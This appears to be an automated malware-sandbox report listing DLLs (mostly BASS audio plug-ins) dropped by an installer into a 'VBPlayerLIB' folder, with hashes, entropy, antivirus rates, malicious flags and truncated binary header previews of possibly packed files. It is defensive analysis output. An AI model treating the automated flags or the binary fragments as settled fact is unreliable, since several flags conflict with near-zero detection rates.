Preview:	MZ......................@...................................D.... ..PE..L.....V...........!.................p.......0............................................@.........................Pr.......q..d....P.......................%.......................................................q..8....................................@..........................@..@.rsrc........P......................@..@.............`.........................@petite.......p......................`..`.........................................\|7{M..... ........r B`.Zr..P.........T}.e..YJ...=.X..q.}......b.I...G.....^.d...R..-R.....d_.......K.q.H.A=.-S..,_.....L...........2.............u.u.%...:.q....c.[.....`...\.X..8..B.@L..3.7.q.....)!.- ...D.....p...J...RU..Q.A..[.#&..R.....".+4...px/7..\....4...., ..8...5.hV.>] ....3.-.<..I+.<r..T..H,Q..!..i--..+.Zq.[...H... ...N.8..#...a.x.iU.G..-_..R....Z(cT%.....S.P.U:g?...;....&....@..KI.X.Q..PQ..v..*....{..~..}..f....c..`....Q...q..%......,j.4.Y..)....Cf7..

C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassalac.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11532
Entropy (8bit):	7.219753259626605
Encrypted:	false
SSDEEP:	192:Dqv1jf+0vAe7Dl+JTGxuK5Rbfh70Il9MWbzq6UWkE0FGemexbiJi8TK0Q2:m9KIAeNgTGxu2Jfh1DMSzqKkvFGLJi85
MD5:	073F34B193F0831B3DD86313D74F1D2A
SHA1:	3DF5592532619C5D9B93B04AC8DBCEC062C6DD09
SHA-256:	C5EEC9CD18A344227374F2BC1A0D2CE2F1797CFFD404A0A28CF85439D15941E9
SHA-512:	EEFD583D1F213E5A5607C2CFBAED39E07AEC270B184E61A1BA0B5EF67ED7AC5518B5C77345CA9BD4F39D2C86FCD261021568ED14945E7A7541ADF78E18E64B0C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L.....V...........!.........(...............P............................................@.........................P...........d....p..8...................82.........................................................8....................................`.......$..................@..@.rsrc........p.......&..............@..@.......................................@petite.............................`..`....................................#..L....y......"......O/..M...C.A.&:.e.i..l....CP...g.AK..S;.lf.?.g....].k.U.G.Y.J.",......%....:ge.D x.P }}..Tih.g......%G.Iy.j...\...S...s..$..........o..y..........,.........-..X.....v.M1..'...5R.4..8k!..q.=BVST<..M.E.._T.p...K.r....C.HEO....\..%%,I....>'.L.ct..{..I..l.Y#f Tk...:bH?.....G..Y.p..Q.....z/R.h>8....]S.....p.c/.m..6tc.d..(..{...=w4.w.^..d.....^..Tp.....Z..).Z."...&.-...o...xD+0.L+!...X.%?)+.P..Z.......P..F..P.".._.%9.^T;(..Y.>.. .....re

C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassape.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	39304
Entropy (8bit):	7.819409739152795
Encrypted:	false
SSDEEP:	768:i5GGx+OZPWuGdoiwUpPLH7IN3x1eW0kIAJbfT13MMnahRlmftuohQf:i5DxDPWMApPLsNhkVkI6R3TnalauoQ
MD5:	C7A50ACE28DDE05B897E000FA398BBCE
SHA1:	33DA507B06614F890D8C8239E71D3D1372E61DAA
SHA-256:	F02979610F9BE2F267AA3260BB3DF0F79EEEB6F491A77EBBE719A44814602BCC
SHA-512:	4CD7F851C7778C99AFED492A040597356F1596BD81548C803C45565975CA6F075D61BC497FCE68C6B4FEDC1D0B5FD0D84FEAA187DC5E149F4E8E44492D999358
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....."b...........!.........x.......P.......................................`.......Z....@.........................PR.......Q..d....0..0............}......D........................................................Q..8.................................... .......t..................@..@.rsrc.... ...0.......v..............@..@petite.......P.......z..............`..`......................p..k..K..i{..\.H..'.\|w.t...\..dkB%..i.cX...`B...m.X..A.NU.i.I. J.I....x-.e2n.IA.2.:..2G5Z/.+(8w.S<...`ML........!..%+.r.s.1.~.D...]......U..q3.....9..?y.>j.E.T...Y..D..>..aJ......P^Y..w?.9w.,...+C^.[....\|..'.....7..F%..A.....)..b.)8.2Q`.v.F=.."S..{z...z-H=....L_....RM..s......H2P1a....[..i. 2..~.?...+R... .m(.I..X...H.g.Z..i..G.?.(......e.:.B......fh......gl.x.Z......I>..#....Hgv.;g.@ l.$(...0.........l.>.p..z;A.@...*4v..x.U.gU..Bqqb..6.x...D.....cIE(5m.g}J..

C:\Program Files (x86)\VBPlayerLIB\bin\x86\basscd.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	18966
Entropy (8bit):	7.620111275837424
Encrypted:	false
SSDEEP:	384:gOKwxnw6OVDU839fgRgFMkucNauTT80CyTIz2bGjqXOK0Jo:gOHwBDUOe2McQkI0Cyo2Q/o
MD5:	F0F973781B6A66ADF354B04A36C5E944
SHA1:	8E8EE3A18D4CEC163AF8756E1644DF41C747EDC7
SHA-256:	04AB613C895B35044AF8A9A98A372A5769C80245CC9D6BF710A94C5BC42FA1B3
SHA-512:	118D5DACC2379913B725BD338F8445016F5A0D1987283B082D37C1D1C76200240E8C79660E980F05E13E4EB79BDA02256EAC52385DAA557C6E0C5D326D43A835
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L...9#.]...........!.........B...............p............................................@.....................................x.......@....................M..........................................................@............................................>..................@..@.rsrc................@..............@..@.......................................@petite...............D..............`..`....................................g5 ....S%,_ .]/.0$R.yB..."@...N.AGG.^.?...1.........&?....v....6.0.. ME..(..gh\jv#.l..#$.Z&...._\`.@.......D.;.C~..m}3..\>.h..@.;.f Tho...(xVs..m.c..F..SS.C...z[....z...... .X.&....HY,...o.d..jP.nr..@.)..W.1#...b..Q.*E8.B..N5.....].........7..A..2c.M.q.O0(.Gi..B.....CT.(..+....>@T j.#!..."..P.u.3..5.Q0K..p....ERvG..._'...ir%m...NT.v:.....g.....8.+....m....8..Z.=.B.......D_..ln...C.......p8...e."...U...+.f..E.=X.j.DeD.X_.Y..n.r.!xWu..\.VB.......`.F.A....dx...

C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassdsd.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	8456
Entropy (8bit):	6.767152008521429
Encrypted:	false
SSDEEP:	192:yxPHUtfhriUVoSoGtyo2xmJ8GbarAtT7/lxjFZnPK0cl:KPehriU3t2IiGbHTxZnPK0cl
MD5:	19E08B7F7B379A9D1F370E2B5CC622BD
SHA1:	3E2D2767459A92B557380C5796190DB15EC8A6EA
SHA-256:	AC97E5492A3CE1689A2B3C25D588FAC68DFF5C2B79FCF4067F2D781F092BA2A1
SHA-512:	564101A9428A053AA5B08E84586BCBB73874131154010A601FCE8A6FC8C4850C614B4B0A07ACF2A38FD2D4924D835584DB0A8B49EF369E2E450E458AC32CF256
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L...#.MZ...........!.................p.......0............................................@.........................Pr.......q..d....P..8....................%.......................................................q..8....................................@..........................@..@.rsrc........P......................@..@.............`.........................@petite.......p......................`..`..................................................l..a.......1...3W..Z.....H...5.(...$.. .>X9..Fn... ..."j1..........%.7.d...".m...n.ePY......`....I.gYo..UC....Rq(...F......s..8`.I.....i..F.....'......@..-;.........J...Oq...b@...........$.D4E..($.....8':;.q....[-..{..w....@M....J$..0d..9Q.I^.^y.E..L_-.x!s.......W.H.R..@.6....MQ.Q8.s.."...!."IX.vM...!e.$%......U.....F.CoI..X.dA...0.Y..r.8.*p...<..M y...8..s....N5<.J....&..`...w..'..\s..%..A.`....s..j.H...X#..R.\..)R3@..X.P.5...G..t.f/..C.b.d...\|.

C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassflac.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	36752
Entropy (8bit):	7.780431937344781
Encrypted:	false
SSDEEP:	768:E7epCl6I8YbTvEKXQ2vm+iocmmMt7KjuDnlVahRlmftuY5B:EepUv8aZvmd+7nDDalauy
MD5:	9FF783BB73F8868FA6599CDE65ED21D7
SHA1:	F515F91D62D36DC64ADAA06FA0EF6CF769376BDF
SHA-256:	E0234AF5F71592C472439536E710BA8105D62DFA68722965DF87FED50BAB1816
SHA-512:	C9D3C3502601026B6D55A91C583E0BB607BFC695409B984C0561D0CBE7D4F8BD231BC614E0EC1621C287BF0F207017D3E041694320E692FF00BC2220BFA26C26
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......b...........!.........n.......................................................B....@.........................P...........d.......@............s.......x..........................................................8............................................j..................@..@.rsrc.... ...........l..............@..@petite...............p..............`..`..................8..u...I.x\|}...g{...@..ffe.c4.-.Bj..........U.J.`..s.N:`..I@;..B.kbmj..E%2. `....".]&.&.).BB...E..4u'.....Q.......%....V.............5...y....E..q<w.....j...B..O...p.....X...m...= .X..........4........~~.8.F@.V...6....;?.5..)S.m.9U......^.zO!1o.F.E. ...H=`2...9.(...4).E.!G..;R.1.#.h0..(..t8..O...Td.d..~...l.a..U...b<../..W....M6...U*G..II.x........>..I[...v.N/.V..3..Y.c...Zh.i..i.....n....M..D....5o."....(.9.+..z...._$t.T...X#\...N....Q%...>U..\|....J

C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassmidi.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	36416
Entropy (8bit):	7.842278356440954
Encrypted:	false
SSDEEP:	768:lshkyPXvH6bPACtmb8boNQdVfCXewki/OvXEApOqmFfSq1oIQMW:lsh3n5Pb8boOdVCuwNEXEAonfSq1JQb
MD5:	BEBA64522AA8265751187E38D1FC0653
SHA1:	63FFB566AA7B2242FCC91A67E0EDA940C4596E8E
SHA-256:	8C58BC6C89772D0CD72C61E6CF982A3F51DEE9AAC946E076A0273CD3AAF3BE9D
SHA-512:	13214E191C6D94DB914835577C048ADF2240C7335C0A2C2274C096114B7B75CD2CE13A76316963CCD55EE371631998FAC678FCF82AE2AE178B7813B2C35C6651
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L....}.Q...........!................6 ............`..........................0......................................d#.......!..........@...................t...........................................................................................................................`....rsrc...........@...................@..@....................................@................ ......................`.......................................X...{.......j...f.!.PRj.....j..S.ERROR!.Corrupt Data!... c.f.`P....h.p..j..P..C.h..`..<$.3f....t...;S.^......Vj.PWj.j.Vj.PW....Y.Yf..X........X....................Z...t..$.4..l$..m..J...R...z.....XXXXZt.D$....P(......P...s.j.h`...h`.....j.h....h....j.3.3.0_.K~..[...s.3..^......s...$A."...L$..<.........;D$....;D$......$. ............u...........V+.48.^...u.........A............r..I.....................]...............'..................................A...%...........

C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassmix.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19008
Entropy (8bit):	7.672481244971812
Encrypted:	false
SSDEEP:	384:dz7otnjFa4ECX3yeGjA+tSXGnUav92hca+XWRlsuG+is:po7GU+szS3W7sQ7
MD5:	8EE91149989D50DFCF9DAD00DF87C9B0
SHA1:	E5581E6C1334A78E493539F8EA1CE585C9FFAF89
SHA-256:	3030E22F4A854E11A8AA2128991E4867CA1DF33BC7B9AFF76A5E6DEEF56927F6
SHA-512:	FA04E8524DA444DD91E4BD682CC9ADEE445259E0C6190A7DEF82B8C4478A78AAA8049337079AD01F7984DBA28316D72445A0F0D876F268A062AD9B8FF2A6E58D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L....+vS...........!....6...6.......6........p......................................................................0..........P.......@...................tM.......................................................................................................>..................`....rsrc...........@....H..............@..@....................................@...........6...........................`.......................................D...n'......j...f.!.PRj.....j..S.ERROR!.Corrupt Data!......f.`P....h.5..j..P..C.h.....<$.3f....t...;S.^......Vj.PWj.j.Vj.PW....Y.Yf..X........X............f.......Z...t..$.4..l$..m..J...R...z.....XXXXZt.D$....P(......P...s.j.h`...h`.....j.h....h....j.3.3.0_.K~..[...s.3..^......s...$A."...L$..<.........;D$....;D$......$. ............u...........V+.48.^...u.........A............r..I..K..........(...\|...}K...................E..K....p..j...g........Q..........y...........

C:\Program Files (x86)\VBPlayerLIB\bin\x86\bassopus.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	68876
Entropy (8bit):	7.922125376804506
Encrypted:	false
SSDEEP:	1536:q0Z4sz1ZMjCjDIhoLffiedENahBzzxO/JfgmYFGKEvi8TxCI+vHVl:v4MzMjGkhoLfsahS/JYN2vUl
MD5:	4E35BA785CD3B37A3702E577510F39E3
SHA1:	A2FD74A68BEFF732E5F3CB0835713AEA8D639902
SHA-256:	0AFE688B6FCA94C69780F454BE65E12D616C6E6376E80C5B3835E3FA6DE3EB8A
SHA-512:	1B839AF5B4049A20D9B8A0779FE943A4238C8FBFBF306BC6D3A27AF45C76F6C56B57B2EC8F087F7034D89B5B139E53A626A8D7316BE1374EAC28B06D23E7995D
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L.....U]...........!......................... ............................................@.........................P...........d.......@...............................................................................8...............................................................@..@.rsrc...............................@..@.......................................@petite..............................`..`...........................................&MK#H..OEJ..}??...:..$ayf.r7.w(/.d`...A(7.%p.f.>\..d."..W......[4.0..ZY..... .....~...T....9a+..'.......g!.....l...<..?Y.(..[k.I=....D.....c..=.?.8...D>0...#.ZdO..Z...%......X.P..bS..s..=$...m.N........A......A4..J>Wa.N..K.>....2n8.ii.#....y#.J ....i!...a7..Pbl@B.%h0..8RSr.........]..z.\...x..e..5.3.$h. <G.3....-......Q....O0..,......Y}......@...<...t.H).T..! .....ap......Tj.o...0b...`..yX.. g...hzA...b.7.s$M.... ..'....\$...H.\.l.C g..4..(.6@.Q....B(..

C:\Program Files (x86)\VBPlayerLIB\bin\x86\basswma.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	17472
Entropy (8bit):	7.524548435291935
Encrypted:	false
SSDEEP:	384:IwwsQD13cT5HhSVeEQNW5kbbcGEh/qTio+lyTnGy:QRD13ySVeEOW5kbSSTHNTnr
MD5:	7B52BE6D702AA590DB57A0E135F81C45
SHA1:	518FB84C77E547DD73C335D2090A35537111F837
SHA-256:	9B5A8B323D2D1209A5696EAF521669886F028CE1ECDBB49D1610C09A22746330
SHA-512:	79C1959A689BDC29B63CA771F7E1AB6FF960552CADF0644A7C25C31775FE3458884821A0130B1BAB425C3B41F1C680D4776DD5311CE3939775A39143C873A6FE
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...................................D.... ..PE..L....^.L...........!....%v..%.......6........`......................................................................h..................@....................F...............................................................................................p.......8..................`....rsrc...........@....B..............@..@....................................@...........%...........................`.......................................X...x..0....j...f.!.PRj.....j..S.ERROR!.Corrupt Data!......f.`P....h.,..j..P..C.h.....<$.3f....t...;S.^......Vj.PWj.j.Vj.PW....Y.Yf..X........X....................Z...t..$.4..l$..m..J...R...z.....XXXXZt.D$....P(......P...s.j.h`...h`.....j.h....h....j.3.3.0_.K~..[...s.3..^......s...$A."...L$..<.........;D$....;D$......$. ............u...........V+.48.^...u.........A............r..I..D..%...........\|...CC.......p......n....<.......`..............lH......)...............

C:\Program Files (x86)\VBPlayerLIB\bin\x86\basswv.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	35588
Entropy (8bit):	7.817557274117395
Encrypted:	false
SSDEEP:	768:dCrMZHv56WRldhmLjQDrbfc8cznHvc6modHQ:sAR0LzHvc6m2HQ
MD5:	58521D1AC2C588B85642354F6C0C7812
SHA1:	5912D2507F78C18D5DC567B2FA8D5AE305345972
SHA-256:	452EEE1E4EF2FE2E00060113CCE206E90986E2807BB966019AC4E9DEB303A9BD
SHA-512:	3988B61F6B633718DE36C0669101E438E70A17E3962A5C3A519BDECC3942201BA9C3B3F94515898BB2F8354338BA202A801B22129FC6D56598103B13364748C1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Preview:	MZ......................@...................................D.... ..PE..L.....yX...........!.................@.......................................P............@.........................PB.......A..d.... ..@...................P........................................................A..8...............................................................@..@.rsrc........ ......................@..@.............0.........................@petite.......@......................`..`...................................._3.....g.ge..7t...R-_.R.@c.S.\..J?L.EZ.,....=H8..;.QJ.....P-)eFs93:.^...f......}..?...e...SD.......-.u.......q2...P...6..z5.T.S..P..Q....@..Mq.>....8" F...,..FE...S.[U..c......jr....b...-%...`......w..+W.C......]..#......LS....W.Y....o.8...i.[)..%(.2.t...YY .bL.....b.@&J,?l.........$..F..&...a#.\[".^...&]co....K.>...xQzw..XW.uT..+dm.o.b...@c....3..r....@]...P........{C/.....A!.&..........'....._..."S..&..F.......:.dxtK.6...7.I...Q..Nm2.....NX..fG..L..7.?..".(

C:\Program Files (x86)\VBPlayerLIB\bin\x86\copying (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	1059
Entropy (8bit):	5.1208137218866945
Encrypted:	false
SSDEEP:	24:LLDrmJHHH0yN3gtsHw1hj9QHOsUv4eOk4/+/m3oqLF5n:LLDaJHlxE35QHOs5exm3ogF5n
MD5:	B7EDCC6CB01ACE25EBD2555CF15473DC
SHA1:	2627FF03833F74ED51A7F43C55D30B249B6A0707
SHA-256:	D6B4754BB67BDD08B97D5D11B2D7434997A371585A78FE77007149DF3AF8D09C
SHA-512:	962BD5C9FB510D57FAC0C3B189B7ADEB29E00BED60F0BB9D7E899601C06C2263EDA976E64C352E4B7C0AAEFB70D2FCB0ABEF45E43882089477881A303EB88C09
Malicious:	false
Preview:	Copyright (c) 2011 Jan Kokem.ller..Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to deal.in the Software without restriction, including without limitation the rights.to use, copy, modify, merge, publish, distribute, sublicense, and/or sell.copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONNECTION WITH

C:\Program Files (x86)\VBPlayerLIB\bin\x86\d_writer.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	16910
Entropy (8bit):	5.289608933932413
Encrypted:	false
SSDEEP:	384:ohtyjknGC7hipL+9mLYFOozxkdlDNUwS5Qq:UGknGC74l+MUFI7C
MD5:	2F040608E68E679DD42B7D8D3FCA563E
SHA1:	4B2C3A6B8902E32CDA33A241B24A79BE380C55FC
SHA-256:	6B980CADC3E7047CC51AD1234CB7E76FF520149A746CB64E5631AF1EA1939962
SHA-512:	718AF5BE259973732179ABA45B672637FCA21AE575B4115A62139A751C04F267F355B8F7F7432B56719D91390DABA774B39283CBCFE18F09CA033389FB31A4FC
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........B.........#.........>...f...........0.....h......................... ................ .........................{.......\|...............................$...........................pA.......................................................text...4...........................`.P`.data...<....0......."..............@.0..rdata.......@.......$..............@.`@/4...........P.......(..............@.0@.bss.....d...`........................`..edata..{............2..............@.0@.idata..\|............4..............@.0..CRT....,............:..............@.0..tls.................<..............@.0..reloc..$............>..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\da.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	15374
Entropy (8bit):	5.192037544202194
Encrypted:	false
SSDEEP:	384:lhgkOI7BGi9gKV6uq+u6JewsNhNXUwSCgQ:DT7BGVKPKbXF
MD5:	BEFD36FE8383549246E1FD49DB270C07
SHA1:	1EF12B568599F31292879A8581F6CD0279F3E92A
SHA-256:	B5942E8096C95118C425B30CEC8838904897CDEF78297C7BBB96D7E2D45EE288
SHA-512:	FD9AA6A4134858A715BE846841827196382D0D86F2B1AA5C7A249B770408815B0FE30C4D1E634E8D6D3C8FEDBCE4654CD5DC240F91D54FC8A7EFE7CAE2E569F4
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........<.........#.........8...............0.....f................................b......... ......................p..E.......h...........................................................P@......................................................text...............................`.P`.data...,....0....... ..............@.0..rdata.......@......."..............@.0@/4...........P.......$..............@.0@.bss.........`........................`..edata..E....p......................@.0@.idata..h............0..............@.0..CRT....,............6..............@.0..tls.................8..............@.0..reloc...............:..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\daiso.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	197646
Entropy (8bit):	6.1570532273946625
Encrypted:	false
SSDEEP:	3072:brPGp0y4SP+iBGgySYm+dE3sYrJqkAzhU88vsAGSW+:brPGaTEsHSYmbbOU8osAGG
MD5:	2C8EC61630F8AA6AAC674E4C63F4C973
SHA1:	64E3BB9AA505C66E87FE912D4EA3054ADF6CEF76
SHA-256:	DFD55D0DDD1A7D081FCE8E552DC29706A84DC6CA2FDD2F82D63F33D74E882849
SHA-512:	488378012FB5F477ED4636C37D7A883B1DAD0FBC671D238B577A9374EFE40AB781F5E483AE921F1909A9B7C1C2A3E78E29B533D3B6FFE15AAEE840CAD2DCF5D0
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...............................m................................]_........ ...................... ..A....0...............................`..............................p0.......................1..D............................text...............................`.P`.data...............................@.0..rdata..L0.......2..................@.`@/4...........P......................@.0@.bss..................................`..edata..A.... ......................@.0@.idata.......0......................@.0..CRT....,....@......................@.0..tls.........P......................@.0..reloc.......`......................@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\dsd2.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	31936
Entropy (8bit):	6.6461204214578
Encrypted:	false
SSDEEP:	768:SEEn30ilOAb++HynTDbc3fwaVCPxWE/MM:SEa0YOU1HgU3fwaVCPxqM
MD5:	72E3BDD0CE0AF6A3A3C82F3AE6426814
SHA1:	A2FB64D5B9F5F3181D1A622D918262CE2F9A7AA3
SHA-256:	7AC8A8D5679C96D14C15E6DBC6C72C260AAEFB002D0A4B5D28B3A5C2B15DF0AB
SHA-512:	A876D0872BFBF099101F7F042AEAF1FD44208A354E64FC18BAB496BEEC6FDABCA432A852795CFC0A220013F619F13281B93ECC46160763AC7018AD97E8CC7971
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L........P.........#.....&...L...............@.....d................................8......... .........................b............................P...,...................................R......................x................................text....%.......&..................`.P`.data........@.......*..............@.`..rdata.......P.......,..............@.0@/4...........`.......2..............@.0@.bss.........p........................`..edata..b............>..............@.0@.idata...............@..............@.0..CRT....,............H..............@.0..tls.................J..............@.0..reloc...............L..............@.0B................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\dsd2pcmt.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	197120
Entropy (8bit):	6.423554884287906
Encrypted:	false
SSDEEP:	6144:X+dMKihenEUunaA+mVMISPCG5vHglwiaJVZkRyAHeOdrQpCklkHy+axeY0R2JdXs:MagxOOZWP2dC28d+y2e
MD5:	67247C0ACA089BDE943F802BFBA8752C
SHA1:	508DA6E0CF31A245D27772C70FFA9A2AE54930A3
SHA-256:	BAB8D388EA3AF1AABB61B8884CFAA7276A2BFD77789856DD610480C55E4D0A60
SHA-512:	C4A690A53581D3E4304188FD772C6F1DA1C72ED2237A13951ACE8879D1986423813A6F7534FF506790CB81633CEB7FF6A6239C1F852725FBACA4B40D9AE3F2DB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......d,.. M.. M.. M..4&..-M..4&...M..4&..3M..r8...M..r8../M..r8..1M..4&..#M.. M.._M..v8..$M..v8..!M..v8..!M..v8..!M..Rich M..........PE..L... ..a...........!.........................................................@............@.........................@...p.......(............................ ..(...P...8...............................@...............H............................text...>........................... ..`.rdata..d...........................@..@.data...H...........................@....rsrc...............................@..@.reloc..(.... ......................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\dstt.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	115712
Entropy (8bit):	6.401537154757194
Encrypted:	false
SSDEEP:	3072:rY4gILp0Vt7BMkvfHutO+eP0ZjflQf5xqkYXeo21sb2rqG70:rY4gILp0Vt77nLBCtQfjqv8qG70
MD5:	840D631DA54C308B23590AD6366EBA77
SHA1:	5ED0928667451239E62E6A0A744DA47C74E1CF89
SHA-256:	6BAD60DF9A560FB7D6F8647B75C367FDA232BDFCA2291273A21179495DAC3DB9
SHA-512:	1394A48240BA4EF386215942465BDE418C5C6ED73FC935FE7D207D2A1370155C94CDC15431985ED4E656CA6B777BA79FFC88E78FA3D99DB7E0E6EAC7D1663594
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......?..R{...{...{...o...q...o.......o...i...)...W...)...t...)...j...o...x...{.......-...s...-...z...-.4.z...-...z...Rich{...........PE..L....H.a...........!.....$...........h.......@............................... ............@.............................x.......(.......................................8..............................@............@..D............................text....#.......$.................. ..`.rdata...x...@...z...(..............@..@.data.... ..........................@....rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\VBPlayerLIB\bin\x86\ff_helper.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-0OCKQ.tmp\B6AA.tmp
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	62478
Entropy (8bit):	6.063363187934607
Encrypted:	false
SSDEEP:	768:q3s6+NMpjqudP/XB9rGCWLEc6wY3U0LvDcb0wGNPdqdRJy/5f4mdajO42iySAqB:q8zNM1nBId/ce7GNP6m/5AQGySAs
MD5:	940EEBDB301CB64C7EA2E7FA0646DAA3
SHA1:	0347F029DA33C30BBF3FB067A634B49E8C89FEC2
SHA-256:	B0B56F11549CE55B4DC6F94ECBA84AEEDBA4300D92F4DC8F43C3C9EEEFCBE3C5
SHA-512:	50D455C16076C0738FB1FECAE7705E2C9757DF5961D74B7155D7DFB3FAB671F964C73F919CC749D100F6A90A3454BFF0D15ED245A7D26ABCAA5E0FDE3DC958FD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
